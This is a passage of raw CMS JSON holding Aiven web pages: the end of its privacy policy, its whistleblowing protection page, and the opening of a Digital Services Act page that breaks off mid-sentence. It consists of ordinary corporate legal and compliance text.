"},{"_key":"36b784f827321","_type":"span","marks":["d3063e157e33"],"text":"privacy@aiven.io"},{"_key":"36b784f827322","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d3063e157e33","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"24f2ba344cda","_type":"block","children":[{"_key":"6b3f21ed230d","_type":"span","marks":[],"text":"We (or our service providers on our behalf) may collect and create user group profiles or segment data about the use of our website and services and provide targeted advertising to Users.  We use cookies and other similar technologies to display advertising. This may involve delivering marketing through our website or on third party website or platforms (including social networks). We seek consent when we place cookies and use similar technologies in accordance with our Cookie Policy. For more information, please see our "},{"_key":"5d95e8756827","_type":"span","marks":["54c6bfb3e37a"],"text":"Cookie Policy"},{"_key":"56f4d8da373d","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"54c6bfb3e37a","_type":"internalLink","internalLink":{"_ref":"16319f9c-a9fd-40b6-a142-55abea8fb589","_type":"reference"}}],"style":"normal"},{"_key":"9e658b87218c","_type":"block","children":[{"_key":"a9e727b0a25b0","_type":"span","marks":[],"text":"Personal data is not processed for automated decision-making."}],"markDefs":[],"style":"normal"},{"_key":"eea3ed050034","_type":"block","children":[{"_key":"0280af5ec2ee0","_type":"span","marks":[],"text":"Our legitimate interest"}],"markDefs":[],"style":"h3"},{"_key":"8876c53ec054","_type":"block","children":[{"_key":"2b6f4c10e8f60","_type":"span","marks":[],"text":"We process personal data to the extent this is necessary to fulfil our legitimate interests, which include our interests to:"}],"markDefs":[],"style":"normal"},{"_key":"cc2b95b31b93","_type":"block","children":[{"_key":"1dc3de1a99830","_type":"span","marks":[],"text":"Effectively manage our relationship with our customers, including responding to queries, resolving technical issues, providing customer support and sending necessary information relating to our services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4bc39fd3fb56","_type":"block","children":[{"_key":"7ddcdb31f3250","_type":"span","marks":[],"text":"Improve our services by seeking feedback and performing data analytics on the usage of our website and services, and creating user group profiles and anonymous, aggregated statistics about the use of our website and services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c26ec157063f","_type":"block","children":[{"_key":"bb7ea19431800","_type":"span","marks":[],"text":"Protect the security, availability and integrity of our services and information systems, including by using authentication mechanisms and other security measures, monitoring our systems for security threats, keeping back-ups, and carrying out system maintenance services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7bb6ef25e09c","_type":"block","children":[{"_key":"27beb474d0a9","_type":"span","marks":[],"text":"Protect our legal rights, including by handling complaints and exercising or defending legal claims."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9beeff930e43","_type":"block","children":[{"_key":"6ec7205333c70","_type":"span","marks":[],"text":"Share personal data with our subsidiaries to the extent necessary to provide our services and to manage and organize customer service, marketing as well as information security measures within the group in an appropriate and practical way and use shared IT systems within the group."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"012c6645c5ed","_type":"block","children":[{"_key":"f74c33155f770","_type":"span","marks":[],"text":"Legal obligations"}],"markDefs":[],"style":"h3"},{"_key":"6ae145964d8c","_type":"block","children":[{"_key":"da9db77432d20","_type":"span","marks":[],"text":"We process personal data to comply with legal requirements under applicable laws (e.g. tax and accounting obligations) and with court orders and requests by competent regulatory and governmental authorities."}],"markDefs":[],"style":"normal"},{"_key":"4ce1ca624b9e","_type":"block","children":[{"_key":"2febc0e7153c0","_type":"span","marks":[],"text":"What personal data do we disclose?"}],"markDefs":[],"style":"h2"},{"_key":"c39995766878","_type":"block","children":[{"_key":"da9bf6a9e96d0","_type":"span","marks":[],"text":"We disclose personal data to third parties as follows:"}],"markDefs":[],"style":"normal"},{"_key":"a3be252f4acc","_type":"block","children":[{"_key":"879f6810963b0","_type":"span","marks":[],"text":"to our subsidiaries for the purposes listed under Our legitimate interest heading above;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9ece0196409b","_type":"block","children":[{"_key":"b6258f63eef40","_type":"span","marks":[],"text":"to our third party service providers, including but not limited to hosting service providers, technology service providers, payment service providers and marketing providers;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ed10a444bec8","_type":"block","children":[{"_key":"610d00fd3dca0","_type":"span","marks":[],"text":"as required or permitted to comply with legal obligations, requests by competent authorities and courts and related legal proceedings;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e0a3d6a6bf04","_type":"block","children":[{"_key":"40835f7bcfab","_type":"span","marks":[],"text":"as required to establish, exercise or defend or to protect against legal claims; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"af2c1109328f","_type":"block","children":[{"_key":"9e01bed9014a0","_type":"span","marks":[],"text":"to prospective sellers or buyers if we are involved in a merger, acquisition, or sale of all or a portion of our assets."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e939bbeb6cf0","_type":"block","children":[{"_key":"38a23d0d306b0","_type":"span","marks":[],"text":"Do we transfer personal data outside the EU/EEA?"}],"markDefs":[],"style":"h2"},{"_key":"eec0cfd82a77","_type":"block","children":[{"_key":"b13ffe966d010","_type":"span","marks":[],"text":"We store personal data on servers located in the European Union (\""},{"_key":"b13ffe966d011","_type":"span","marks":["strong"],"text":"EU"},{"_key":"b13ffe966d012","_type":"span","marks":[],"text":"\") provided by Google and Amazon Web Services."}],"markDefs":[],"style":"normal"},{"_key":"9c4df03c159b","_type":"block","children":[{"_key":"4f5ec3e54ea80","_type":"span","marks":[],"text":"We transfer personal data to our subsidiaries and third party service providers overseas, which may involve the transfer of personal data to countries outside the European Economic Area (\""},{"_key":"ed5ca57fbcd0","_type":"span","marks":["strong"],"text":"EEA"},{"_key":"aeb722073b44","_type":"span","marks":[],"text":"\") which have different data protection standards to those which apply in the EEA.  For a list of the countries in which our subsidiaries and service providers operate, please see: "},{"_key":"8986692cf562","_type":"span","marks":["a984d363994c"],"text":"aiven.io/subprocessors"},{"_key":"7f6bce8a5b1f","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a984d363994c","_type":"internalLink","internalLink":{"_ref":"4a5f09b0-1992-4697-8a26-33e4788fc5dd","_type":"reference"}}],"style":"normal"},{"_key":"f655fec03266","_type":"block","children":[{"_key":"dfd31b7f2d4f0","_type":"span","marks":[],"text":"To the extent personal data is transferred to a country outside of the EU/EEA, we will use the required established mechanisms that allow the transfer to our subsidiaries and service providers in those countries, such as the Standard Contractual Clauses approved by the European Commission."}],"markDefs":[],"style":"normal"},{"_key":"546d93b2476c","_type":"block","children":[{"_key":"80673005a2480","_type":"span","marks":[],"text":"Please email us at "},{"_key":"80673005a2481","_type":"span","marks":["39c64c58a467"],"text":"privacy@aiven.io"},{"_key":"80673005a2482","_type":"span","marks":[],"text":" if you want further information on the specific mechanism used by us when transferring your personal data out of the EEA or to obtain a copy of any contractual clauses in place. Please note, however, that some details may be redacted for confidentiality reasons."}],"markDefs":[{"_key":"39c64c58a467","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"1f4d1cac4c89","_type":"block","children":[{"_key":"b17270ef171d0","_type":"span","marks":[],"text":"To learn more about how Google processes personal information, please review "},{"_key":"fba40be6834a","_type":"span","marks":["a9f3f30d7010"],"text":"Google’s Business Data Responsibility page"},{"_key":"4cf37225bd21","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a9f3f30d7010","_type":"link","href":"https://business.safety.google/privacy/"}],"style":"normal"},{"_key":"a546ac2c9b85","_type":"block","children":[{"_key":"2717dcffa7690","_type":"span","marks":[],"text":"How long will we retain personal data?"}],"markDefs":[],"style":"h2"},{"_key":"c66034de0cd5","_type":"block","children":[{"_key":"e9c2ec00f1cd0","_type":"span","marks":[],"text":"We will only retain personal data for as long as necessary to fulfil the purposes defined in this Privacy Policy. The main retention periods are as follows:"}],"markDefs":[],"style":"normal"},{"_key":"f48ece77c986","_type":"block","children":[{"_key":"09264954aa5e0","_type":"span","marks":[],"text":"We retain personal data for the duration of customer relationship and after that as required by legal obligations (e.g. accounting laws) or our contractual rights or obligations (e.g. for invoicing purposes)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"056a4db6c969","_type":"block","children":[{"_key":"3ff1a8d551130","_type":"span","marks":[],"text":"If a dispute arises or a customer fails to make payment for our services, we may retain relevant information until such dispute is resolved or until such payment is made."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0b542d43627c","_type":"block","children":[{"_key":"d39956e1d0470","_type":"span","marks":[],"text":"Where we process personal data for marketing purposes, we will delete or anonymise the data after one (1) year has lapsed from last contact between us to the User or when the User asks us to stop marketing and for a short period after this (to allow us to implement the request). From the below User Rights heading the User may find more information regarding data retention for marketing purposes and what rights the User has in this respect."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5d5d81ce961f","_type":"block","children":[{"_key":"7d3763a81e090","_type":"span","marks":[],"text":"What rights does the user have?"}],"markDefs":[],"style":"h2"},{"_key":"1c3f4263a967","_type":"block","children":[{"_key":"f90dc59137a60","_type":"span","marks":[],"text":"Users have the following rights:"}],"markDefs":[],"style":"normal"},{"_key":"788345360844","_type":"block","children":[{"_key":"89e3ebeb8c0e0","_type":"span","marks":[],"text":"The right to request access to personal data about himself/herself;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fc0ee1f47028","_type":"block","children":[{"_key":"c1a6e9825c7a","_type":"span","marks":[],"text":"The right to request rectification, restriction or erasure of personal data. However, certain information is strictly necessary in order to fulfil the purposes defined in this Privacy Policy and may also be required by law. Thus, it may not be possible to remove such personal data."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2b5b81392e5f","_type":"block","children":[{"_key":"79aa4354052e0","_type":"span","marks":[],"text":"The right to object processing, that is based on legitimate interest;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cb244e727d76","_type":"block","children":[{"_key":"9b21f31b139f0","_type":"span","marks":[],"text":"The right to object processing for marketing purposes and the right to prevent from receiving future direct marketing;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5558ecfdd90b","_type":"block","children":[{"_key":"05d61914af810","_type":"span","marks":[],"text":"If processing of personal data is based on consent, the User has the right to withdraw consent at any time. The withdrawal will not affect the lawfulness of the processing carried out before the withdrawal; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d4f0f160b3b4","_type":"block","children":[{"_key":"c2ff3ec042370","_type":"span","marks":[],"text":"The right to data portability, meaning the right to receive the personal data in a structured, commonly used machine-readable format and transmit the personal data to another data controller, to the extent required by applicable law. This applies for personal data processed based on contract or the User's consent."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e7c0bc334afa","_type":"block","children":[{"_key":"fc57fd23124c0","_type":"span","marks":[],"text":"Should the User wish to exercise his/her above mentioned rights, please send a request to us at "},{"_key":"fc57fd23124c1","_type":"span","marks":["23cae80430c0"],"text":"privacy@aiven.io"},{"_key":"fc57fd23124c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"23cae80430c0","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"b2817be18020","_type":"block","children":[{"_key":"ef885df64c710","_type":"span","marks":[],"text":"If you consider the way we are processing your personal data is conducted in an unlawful way or violates this Privacy Policy, you have a right to file a complaint to your national data protection authority in the EU/EEA. You may also file a complaint to the data protection authority in any other EU country where you live, work, or where you consider the alleged violation has occurred."}],"markDefs":[],"style":"normal"},{"_key":"8fd9e739f233","_type":"block","children":[{"_key":"79ab29eeb94e0","_type":"span","marks":[],"text":"Clauses for Users in California"}],"markDefs":[],"style":"h2"},{"_key":"ba8cffe521a7","_type":"block","children":[{"_key":"221ce2f778190","_type":"span","marks":[],"text":"Users that are California Residents have specific rights to control their personal information. To read more about these rights based on the California Consumer Privacy Act (“CCPA”) and California Privacy Rights Act (CPRA) please see our "},{"_key":"631ebf5628e9","_type":"span","marks":["7b3ff1d2b2dc"],"text":"Privacy Notice for California Residents"},{"_key":"3b6b4a909dda","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"7b3ff1d2b2dc","_type":"internalLink","internalLink":{"_ref":"67241aaf-6872-4046-ba51-ca6a18c3d9aa","_type":"reference"}}],"style":"normal"},{"_key":"8d3ff9b11aff","_type":"block","children":[{"_key":"d2078597768d0","_type":"span","marks":[],"text":"What Security measures have we taken?"}],"markDefs":[],"style":"h2"},{"_key":"03eaeb3e599c","_type":"block","children":[{"_key":"f82728513bd60","_type":"span","marks":[],"text":"We have carried out reasonable technical and organizational measures to secure the personal data processed against unauthorized access, against accidental or unlawful destruction, manipulation, disclosure and transfer and against other unlawful processing. For instance, any physical data is stored in locked facilities and access to automatically processed data is limited by user rights and passwords within our organization."}],"markDefs":[],"style":"normal"},{"_key":"5ae443ff2dee","_type":"block","children":[{"_key":"42595d39f3150","_type":"span","marks":[],"text":"Please be aware that, although we endeavor to provide reasonable security measures for personal data, no security system can prevent all potential security breaches."}],"markDefs":[],"style":"normal"},{"_key":"281053bb2a6d","_type":"block","children":[{"_key":"702510b4071e0","_type":"span","marks":[],"text":"Changes to this Privacy Policy"}],"markDefs":[],"style":"h2"},{"_key":"4ea3ee674963","_type":"block","children":[{"_key":"9b18642e630a","_type":"span","marks":[],"text":"We may change this Privacy Policy from time to time. If we make any changes to this Privacy Policy, we will actively bring it to the attention of the Users by using communication channels available to us. The most recent version of this Privacy Policy can be found at "},{"_key":"d1aed85c523a","_type":"span","marks":["4ccf28adbe10"],"text":"aiven.io/privacy"}],"markDefs":[{"_key":"4ccf28adbe10","_type":"internalLink","internalLink":{"_ref":"e0c3ba03-765a-4d8c-bebb-90619d512ee5","_type":"reference"}}],"style":"normal"}],"publishedAt":"2023-07-24T13:37:00.000Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Your personal information is important; that's why Aiven was an early adopter of GDPR stipulations and also why we offer a simple privacy policy.\n","metaImage":{"_type":"mainImage","alt":"Privacy policy meta preview","asset":{"_ref":"image-534be390d7d35d7bafb9645fdb65fdd98a0c01d8-476x250-jpg","_type":"reference"}},"metaTitle":"Aiven Privacy Policy"},"slug":{"_type":"slug","current":"/privacy"},"title":"Aiven Privacy Policy"} {"__i18n_lang":"en","_createdAt":"2024-06-14T09:18:00Z","_id":"4f86e78c-986b-463e-8074-2913ef613509","_rev":"1TNmID5nkOaQr0c4vN99vA","_type":"term","_updatedAt":"2024-06-18T06:52:10Z","content":[{"_key":"913630213e39","_type":"block","children":[{"_key":"ad093d06d3a90","_type":"span","marks":[],"text":"Aiven strongly encourages both employees and external stakeholders to speak up and report suspected violations of laws and regulations or unethical conduct. As the Aiven Code of Conduct states, our objective is to create an environment where everyone can speak out in good faith and without fear of retaliation."}],"markDefs":[],"style":"normal"},{"_key":"260c8cca7daa","_type":"block","children":[{"_key":"bfddd279ae670","_type":"span","marks":[],"text":"For this purpose, we have established a whistleblowing channel. The channel is provided by our external partner WhistleB to guarantee confidential and anonymous reporting. Our whistleblowing channel complies with Directive (EU) 2019/1937 on the protection of persons who report violations of European Union legislation as well as applicable national laws."}],"markDefs":[],"style":"normal"},{"_key":"8015cf1b8e14","_type":"block","children":[{"_key":"47736732b84b","_type":"span","marks":[],"text":"If you suspect that something is not right, please report it to us"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8a470e702851","_type":"block","children":[{"_key":"5823e9c4fc030","_type":"span","marks":[],"text":"You can submit a "},{"_key":"59e2d5f3125b","_type":"span","marks":["d9feeab433c2"],"text":"report here"},{"_key":"de0cd4fafaf4","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d9feeab433c2","_type":"link","href":"https://report.whistleb.com/en-GB/aiven"}],"style":"normal"},{"_key":"b4efed1540d0","_type":"block","children":[{"_key":"294a5f3eeba90","_type":"span","marks":[],"text":"Reports are treated confidentially"}],"markDefs":[],"style":"h2"},{"_key":"8567fc2a814c","_type":"block","children":[{"_key":"5200932dcab00","_type":"span","marks":[],"text":"Reports that are sent to the whistleblowing channel can only be reviewed by a designated Compliance Investigation Team. All reports are handled quickly, confidentially and in accordance with strict rules regarding conflicts of interest."}],"markDefs":[],"style":"normal"},{"_key":"81e1de936e58","_type":"block","children":[{"_key":"66f87091755b0","_type":"span","marks":[],"text":"You may submit your identity or choose to remain anonymous in your report. We recommend submitting your name and contact information to enable fast communication during the investigation process. Also, to pursue an investigation regarding for example harassment or discrimination, it may be necessary to know the identity of the person making the report."}],"markDefs":[],"style":"normal"},{"_key":"f9f0744e7f71","_type":"block","children":[{"_key":"6a08c51708a50","_type":"span","marks":[],"text":"However, messages can also be received anonymously through the whistleblowing channel based on a personal ID and password that are provided upon submitting a report. Note that neither Aiven nor WhistleB can recover your password or ID if lost."}],"markDefs":[],"style":"normal"},{"_key":"c518cb6749dd","_type":"block","children":[{"_key":"c1ca805336b40","_type":"span","marks":[],"text":"What should I report in the whistleblowing channel?"}],"markDefs":[],"style":"h2"},{"_key":"1a40b82aa482","_type":"block","children":[{"_key":"a369f319aae00","_type":"span","marks":[],"text":"The whistleblowing channel can be to report suspected crimes, violations or misconduct, for example:"}],"markDefs":[],"style":"normal"},{"_key":"0a817577643e","_type":"block","children":[{"_key":"90cf039889a60","_type":"span","marks":[],"text":"Financial misconduct (such as corruption, bribery or fraud)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8f7c380abe7d","_type":"block","children":[{"_key":"da8e64207f020","_type":"span","marks":[],"text":"Anti-competitive activities"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"332dfba1aa7b","_type":"block","children":[{"_key":"7d73e338540f0","_type":"span","marks":[],"text":"Serious environmental violations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6666a992e75c","_type":"block","children":[{"_key":"4330adc0ffcf0","_type":"span","marks":[],"text":"Health and safety violations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6431d70bce10","_type":"block","children":[{"_key":"e5e6ddf788b10","_type":"span","marks":[],"text":"Data privacy or information security violations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dfab59efa829","_type":"block","children":[{"_key":"836e6f0ac6530","_type":"span","marks":[],"text":"Discrimination, harassment and bullying, if you feel that you cannot use other existing means of reporting"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"67234b986239","_type":"block","children":[{"_key":"1f1a911886460","_type":"span","marks":[],"text":"Other illegal or unethical acts"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"eaa5f5ad4f03","_type":"block","children":[{"_key":"ac8124bc1aaf0","_type":"span","marks":[],"text":"You are not required to provide evidence in your report, but all reports must be made in good faith. Deliberately reporting false or malicious information is a serious violation."}],"markDefs":[],"style":"normal"},{"_key":"38b4d71681d9","_type":"block","children":[{"_key":"a006d270fcca0","_type":"span","marks":[],"text":"Please note that the whistleblowing channel should not be used for general customer feedback. We ask that you provide customer feedback directly to your sales representative."}],"markDefs":[],"style":"normal"},{"_key":"234260a9835d","_type":"block","children":[{"_key":"2461eee391090","_type":"span","marks":[],"text":"How should I make a report?"}],"markDefs":[],"style":"h2"},{"_key":"63685075c94c","_type":"block","children":[{"_key":"5ac140c0a8590","_type":"span","marks":[],"text":"Alternative 1: If you are an employee at Aiven, first we encourage you to speak directly to your own manager."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"614b1e91ff0c","_type":"block","children":[{"_key":"0b80f63a764a0","_type":"span","marks":[],"text":"Alternative 2: If you cannot report to your manager, you are encouraged to contact your manager’s superior, the People team or the Legal team."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a94159efd94b","_type":"block","children":[{"_key":"08642f9910180","_type":"span","marks":[],"text":"Alternative 3: If the above is not possible or does not apply to you, you may report your concerns through the "},{"_key":"62e2b2658b19","_type":"span","marks":["9e0ea69c9add"],"text":"whistleblowing channel"},{"_key":"c5323b9fd986","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"number","markDefs":[{"_key":"9e0ea69c9add","_type":"link","href":"https://report.whistleb.com/en-GB/aiven"}],"style":"normal"},{"_key":"e3f2bb3a1318","_type":"block","children":[{"_key":"a93216fe89ad0","_type":"span","marks":[],"text":"How does Aiven investigate reports?"}],"markDefs":[],"style":"h2"},{"_key":"b92797ca0bda","_type":"block","children":[{"_key":"4afab03bf90d0","_type":"span","marks":[],"text":"When a report is made through the whistleblowing channel, the Compliance Investigation Team notifies the whistleblower that the report has been received (within 7 days)."}],"markDefs":[],"style":"normal"},{"_key":"6630fb250320","_type":"block","children":[{"_key":"b65599c14f5a0","_type":"span","marks":[],"text":"If the whistleblower has not provided a name and contact details, all communication takes place through the channel. The person making the report must use the ID and password given when making the report to access the messages."}],"markDefs":[],"style":"normal"},{"_key":"0b5c5f0d19d8","_type":"block","children":[{"_key":"6f9c27c98cc60","_type":"span","marks":[],"text":"The Compliance Investigation Team investigates the report under strict confidentiality, and determines whether the report concerns the type of violations that the channel is intended for. During the investigation, it is ensured that no such person participates in the investigation, who is implied in the report or who could otherwise be in a conflict of interest. The Compliance Investigation Team may ask follow-up questions through the channel."}],"markDefs":[],"style":"normal"},{"_key":"68ecf841c7e6","_type":"block","children":[{"_key":"e85003dc68a30","_type":"span","marks":[],"text":"The whistleblower is provided with information about the follow-up measures regarding the report within 3 months following the acknowledgement of receipt."}],"markDefs":[],"style":"normal"},{"_key":"e04da2d9167f","_type":"block","children":[{"_key":"2bbb912da1b60","_type":"span","marks":[],"text":"How does Aiven protect whistleblowers?"}],"markDefs":[],"style":"h2"},{"_key":"3fdf35d11622","_type":"block","children":[{"_key":"2ab09ccef95f0","_type":"span","marks":[],"text":"The protection provided pursuant to Directive (EU) 2019/1937 applies specifically to those who report:"}],"markDefs":[],"style":"normal"},{"_key":"accb16fc9281","_type":"block","children":[{"_key":"808f462f93790","_type":"span","marks":[],"text":"breaches of EU or national laws relating to public procurement, financial services, food safety and consumer protection;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d3c0e39b9b89","_type":"block","children":[{"_key":"7d33503081f10","_type":"span","marks":[],"text":"fraud, corruption and other illegal activities affecting EU expenditure, the collection of EU revenues and funds or EU assets;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7f7ca9e1f244","_type":"block","children":[{"_key":"81b1522d380a0","_type":"span","marks":[],"text":"misconduct that relates to the EU internal market, e.g. competition law and antitrust rules or state aid rules;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c3c62cbe8f58","_type":"block","children":[{"_key":"fe1708f8babc0","_type":"span","marks":[],"text":"breaches of corporate tax law and arrangements of which the purpose is to obtain a tax advantage and to evade legal obligations;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c17b11c9d575","_type":"block","children":[{"_key":"e13458475db80","_type":"span","marks":[],"text":"criminal, administrative or other types of breaches, if they may cause serious harm to the public interest by creating significant risks for the welfare of society."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1eacbe74a380","_type":"block","children":[{"_key":"796820279e770","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"21f01a679f9e","_type":"block","children":[{"_key":"aef3fc9573c30","_type":"span","marks":[],"text":"In the above cases, whistleblower protection may require that the whistleblower treats the case as confidential and uses Aiven’s whistleblowing channel as the primary report channel. To maintain whistleblower protection, the whistleblower may not be able to provide the information to the public or the authorities until Aiven’s internal process is completed within the timeframe set by law. To learn more about applicable protections and available external reporting channels in the countries in which Aiven is required to have an internal whistleblowing channel in place, please visit the webpages of competent authorities "},{"_key":"aef3fc9573c31","_type":"span","marks":["2ff96c2295b8"],"text":"in Finland"},{"_key":"aef3fc9573c32","_type":"span","marks":[],"text":" and "},{"_key":"aef3fc9573c33","_type":"span","marks":["a1be6d567408"],"text":"in Germany"},{"_key":"aef3fc9573c34","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"2ff96c2295b8","_type":"link","href":"https://oikeuskansleri.fi/en/whistleblower-protection"},{"_key":"a1be6d567408","_type":"link","href":"https://www.bundesjustizamt.de/DE/MeldestelledesBundes/MeldestelledesBundes_node.html"}],"style":"normal"},{"_key":"adb64cb8bfb7","_type":"block","children":[{"_key":"214773f786490","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e998ba6ac6e2","_type":"block","children":[{"_key":"640908fad0d90","_type":"span","marks":[],"text":"Please note that the protection provided pursuant to Directive (EU) 2019/1937 does not apply as such to persons and reports which fall outside the scope of the national implementations of the Directive. However, Aiven carries out an investigation and takes measures to prevent retaliation in connection with any report made in good faith and concerning a potential violation of the law, Aiven Code of Conduct or our other internal policies."}],"markDefs":[],"style":"normal"},{"_key":"fb96b9e7f6e9","_type":"block","children":[{"_key":"e7324e14e7070","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e478923068a5","_type":"block","children":[{"_key":"3098966fe07a0","_type":"span","marks":[],"text":"Additionally, to qualify for protection, whistleblowers must have reasonable grounds to believe that the matters reported by them are true. If the whistleblower is proven to be mistaken, this does not remove protection."}],"markDefs":[],"style":"normal"},{"_key":"95775aebd6f9","_type":"block","children":[{"_key":"9d20e327778a","_type":"span","marks":[],"text":"How is my personal data protected?"}],"markDefs":[],"style":"h2"},{"_key":"0fef70478f43","_type":"block","children":[{"_key":"5fa375d6c4f00","_type":"span","marks":[],"text":"Processing personal data"}],"markDefs":[],"style":"h3"},{"_key":"086c650105a9","_type":"block","children":[{"_key":"2941bb895f4e0","_type":"span","marks":[],"text":"This whistleblowing service may collect personal data on the person specified in a message, the person submitting the message (if not sent anonymously) and any third person involved, in order to investigate facts on the declared misconduct and inappropriate behaviour eligible under our Code of Conduct or internal rules. This processing is based on statutory obligations and the legitimate interest of the controller to prevent reputational risks and to promote an ethical business activity."}],"markDefs":[],"style":"normal"},{"_key":"0a5bff67c437","_type":"block","children":[{"_key":"be07626f2b1a0","_type":"span","marks":[],"text":"The provided description and facts under this processing are only reserved to the competent and authorized persons who handle this information confidentially."}],"markDefs":[],"style":"normal"},{"_key":"2cb0f04ea5b4","_type":"block","children":[{"_key":"1ac8edb99a810","_type":"span","marks":[],"text":"You may exercise your rights of access, of rectification and of opposition, as well as of limited processing of your personal data. However, these rights are subject to any overriding safeguarding measures required to prevent the destruction of evidence or other obstructions to the processing and investigation of the case. Data is stored within the EU."}],"markDefs":[],"style":"normal"},{"_key":"805a37d57107","_type":"block","children":[{"_key":"23ca25f0e4100","_type":"span","marks":[],"text":"Deletion of data"}],"markDefs":[],"style":"h3"},{"_key":"f707781a134a","_type":"block","children":[{"_key":"d4959b880c340","_type":"span","marks":[],"text":"Personal data included in whistleblowing messages and investigation documentation is deleted when the investigation is complete, with the exception of when personal data must be maintained according to other applicable laws. Investigation documentation and whistleblower messages that are archived will be anonymised; they will not include personal data through which persons can be directly or indirectly identified."}],"markDefs":[],"style":"normal"},{"_key":"2835399bdb3e","_type":"block","children":[{"_key":"f857685aaf280","_type":"span","marks":[],"text":"Personal data controller and processor"}],"markDefs":[],"style":"h3"},{"_key":"eaa8aa9a3725","_type":"block","children":[{"_key":"563f14da67f90","_type":"span","marks":[],"text":"Aiven Oy is responsible for the personal data processed within the whistleblowing service. In questions concerning data privacy, please contact "},{"_key":"c0050e3758cb","_type":"span","marks":["f1ad1f68f10f"],"text":"privacy@aiven.io"},{"_key":"0b8ee68926de","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"f1ad1f68f10f","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"bc8c520f0a6a","_type":"block","children":[{"_key":"41bb27fbad300","_type":"span","marks":[],"text":"WhistleB Whistleblowing Centre Ab (World Trade Centre, Klarabergsviadukten 70, SE-107 24 Stockholm) is responsible for the whistleblowing application, including processing of encrypted data, such as whistleblowing messages. Neither WhistleB nor any sub-suppliers can decrypt and read messages. As such, neither WhistleB nor its sub-processors have access to readable content."}],"markDefs":[],"style":"normal"},{"_key":"80bf2af3dcb6","_type":"block","children":[{"_key":"ee82033ca9d70","_type":"span","marks":[],"text":"Thank you for helping us work ethically and responsibly!"}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-06-18T09:18:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven is committed to ensuring that it conducts business fairly, transparently, ethically and lawfully. We take all suspicions of illegal or unethical conduct seriously.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-2e2b6f7210a2d019c25cbd62dcb2a56e790b8cfa-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven's Whistleblowing Protection"},"slug":{"_type":"slug","current":"/whistleblowing-protection"},"subtitle":"Aiven is committed to ensuring that it conducts business fairly, transparently, ethically and lawfully. We take all suspicions of illegal or unethical conduct seriously.","title":"Aiven's Whistleblowing Protection"} {"__i18n_lang":"en","_createdAt":"2024-02-20T08:23:07Z","_id":"c68abf7c-f7d2-45a5-8fdd-5c1472be1a6f","_rev":"IWll06JTQ4C3MRhtUNBMvg","_type":"term","_updatedAt":"2024-02-20T08:23:07Z","content":[{"_key":"9bece4fa23f9","_type":"block","children":[{"_key":"9521127c7c760","_type":"span","marks":[],"text":"In accordance with Articles 11 and 12 of the DSA, Aiven Oy has nominated 